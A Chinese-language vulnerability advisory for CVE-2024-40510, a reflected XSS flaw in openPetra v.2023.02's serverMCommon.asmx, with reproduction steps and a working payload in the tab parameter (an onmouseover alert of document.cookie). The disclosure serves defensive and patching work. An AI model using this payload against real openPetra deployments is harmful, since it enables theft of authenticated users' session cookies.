CVE-2024-40510

在 openPetra v.2023.02 中通过 serverMCommon.asmx 函数存在的跨站脚本漏洞

描述: 未经认证的用户可以通过利用 openPetra v.2023.02 中 serverMCommon.asmx 函数的 XSS 漏洞，窃取已认证用户的 Cookie。

受影响的产品版本: openPetra v.2023.02
CVE 作者: Jansen Moreira 日期: 13/07/2024
CVE: CVE-2024-40510
CVE 链接: https://www.cve.org/CVERecord?id=CVE-2024-40510
NVD 链接: https://nvd.nist.gov/vuln/detail/CVE-2024-40510
Tenable 链接: https://www.tenable.com/cve/CVE-2024-40510
确认日期: 13/07/2024
测试环境: Linux

复现步骤:

1- 访问主页
2- 使用以下路径，并在 tab 参数中添加 XSS payload。例如： http://target.com/api/serverMCommon.asmx?bnd=TMCommonWebServiceSoap&op=TFormTemplatesWebConnector_UploadFinanceFormTemplate&page=op&tab=x
3- 将鼠标悬停在左侧索引项上以触发 XSS

Payloads:
tab: x" onmouseover=alert(document.cookie) x="

发现者/致谢: Jansen Moreira